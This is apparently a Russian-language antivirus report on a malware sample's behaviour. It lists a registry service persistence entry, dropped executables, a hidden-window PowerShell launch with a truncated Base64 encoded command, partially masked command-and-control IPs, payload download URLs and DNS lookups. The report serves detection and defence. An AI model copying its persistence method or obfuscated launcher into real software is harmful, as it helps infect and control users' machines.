Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\midimap] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\midimap] 'ImagePath' = '"%WINDIR%\SysWOW64\Sens\midimap.exe"'
- 'midimap' "%WINDIR%\SysWOW64\Sens\midimap.exe"
- 'midimap' %WINDIR%\SysWOW64\Sens\midimap.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABOAHgAawA2AGcAbgAwAD0AKAAnAFcAawAnACsAJwBjAHkAJwArACgAJwB3ACcAKwAnAGkAbgAnACkAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAaQB0AGUAbQAnACkAIAAkAGUATgBWADoAdQBzAEUAcgBQAFIAbw...
- %HOMEPATH%\bu3qzcf\of4fotr\ie9ng4.exe
- %WINDIR%\syswow64\sens\midimap.exe
- %HOMEPATH%\bu3qzcf\of4fotr\ie9ng4.exe в %WINDIR%\syswow64\sens\midimap.exe
- '49.##3.9.118':80
- '16#.#41.41.111':7080
- http://vn###nejsc.com/wp-content/IN1P/
- http://ya####alama.online/wp-content/BG2hBQR1L/
- http://16#.##1.41.111:7080/3eeDZUOHWSXUU6M/oIsQbeWKXjI/aUBCCGe5cLUgpf/TrVztw0KV8Pruu/wynD8jy/GlUfG2oI3DcL0/ via 16#.#41.41.111
- DNS ASK vn###nejsc.com
- DNS ASK ya####alama.online
- '%HOMEPATH%\bu3qzcf\of4fotr\ie9ng4.exe'
- '%WINDIR%\syswow64\sens\midimap.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABOAHgAawA2AGcAbgAwAD0AKAAnAFcAawAnACsAJwBjAHkAJwArACgAJwB3ACcAKwAnAGkAbgAnACkAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAaQB0AGUAbQAnACkAIAAkAGUATgBWADoAdQBzAEUAcgBQAFIAbw...' (со скрытым окном)